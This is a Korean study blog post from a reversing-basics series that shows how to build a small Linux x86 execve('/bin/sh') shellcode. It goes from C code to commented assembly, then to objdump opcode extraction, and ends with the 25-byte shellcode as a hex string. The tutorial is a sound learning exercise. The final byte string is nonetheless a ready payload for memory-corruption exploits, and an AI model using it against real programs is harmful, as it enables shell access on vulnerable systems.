Study Record

[리버싱 기초개념] 쉘 코드 만들기 - 경량 쉘 코드 본문

리버싱/기초 개념

[리버싱 기초개념] 쉘 코드 만들기 - 경량 쉘 코드

초코초코초코 2021. 11. 18. 22:17
728x90

※ 사용할 함수 - execve()

#include <unistd.h>
int execve (const char *filename, char *const argv [], char *const envp[]);
/*
다른 프로그램을 실행하고 자신은 종료한다.

리턴값 : 실패일 경우만 -1
filename : 전체 경로명
argv : arg 인수 목록
envp : 환경 설정 목록
*/

char *argv[] = {"/bin/bash", 0};
execve("/bin/bash", &argv, 0);

 

1. 쉘 코드 만들기 - C언어

# vi myshell.c

#include <unistd.h>

int main()
{
        char *bash[] = {"/bin/sh", 0};
        execve(bash[0], &bash, 0);          /* execve(bash[0], &bash[0], 0); */
}

# gcc -o myshell myshell.c

 

2. 쉘 코드 작성시 필요한 함수 확인

/usr/include/asm/unistd.h 파일에서 사용할 함수의 시스템 콜(System Call) 번호를 확인한다.

+  어셈블리어로 작성하기 위해 asm 디렉토리 안에 헤더파일들 중 execve() 함수가 unistd.h 헤더를 참고하기 때문에 /usr/include /asm/unistd.h 파일을 참고했다.

 

3. 함수 형식에 따라 어셈블리어 코드 작성

# vi myshell.s

.global _start
_start:
xor %eax, %eax      # eax 레지스터 0으로 초기화
xor %edx, %edx      # edx 레지스터 0으로 초기화

push %eax           # 0(=NULL)
push $0x68732f2f    # 0x68 : OP code is push , 0x2f2f7368 : "//sh"
push $0x6e69622f    # 0x68 : OP code is push , 0x2f62696a : "/bin"
mov %esp, %ebx      
# ebx 레지스터에 문자열 "/bin//sh" 주소값 저장 ($/bin//sh)
 
push %edx           # 0(=NULL)
push %ebx           # "/bin//sh" 문자열의 주소 push
mov %esp, %ecx      
# "/bin//sh" 문자열의 주소를 가르키고 있는 주소를 ecx 에 저장 (&($/bin//sh))

movb $0x0B, %al   # 0x0B(11) execve() 함수의 호출 번호를 eax 레지스터에 넣는다.
int $0x80           # eax에 저장된 함수를 호출하는 인터럽트!!
eax : 0x0B(execve)
ebx : $(/bin//sh)
ecx : $($(/bin//sh))
edx : 0
----------------------------------------
execve($(/bin//sh),  $($(/bin//sh)), 0)

 

4. 오브젝트 목적 코드 생성 및 실행 파일 생성(as CMD, ld CMD)

※ 명령어 참고 - https://laustudy.tistory.com/61

 

어셈블리 코드(myshell.s)를 실행파일로 만든다.

# as myshell.s -o myshell.o

# ld myshell.o -o myshell

# ./myshell

 

5. OP Code 추출(objdump CMD)

※ 명령어 참고 - https://laustudy.tistory.com/61

 

OP Code로 추출하여 수작업으로 16진수로 뽑아낸다.

# objdump -d ./myshell

직접 수작업으로 뽑아낸 쉘 코드는 다음과 같다.

char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

 

728x90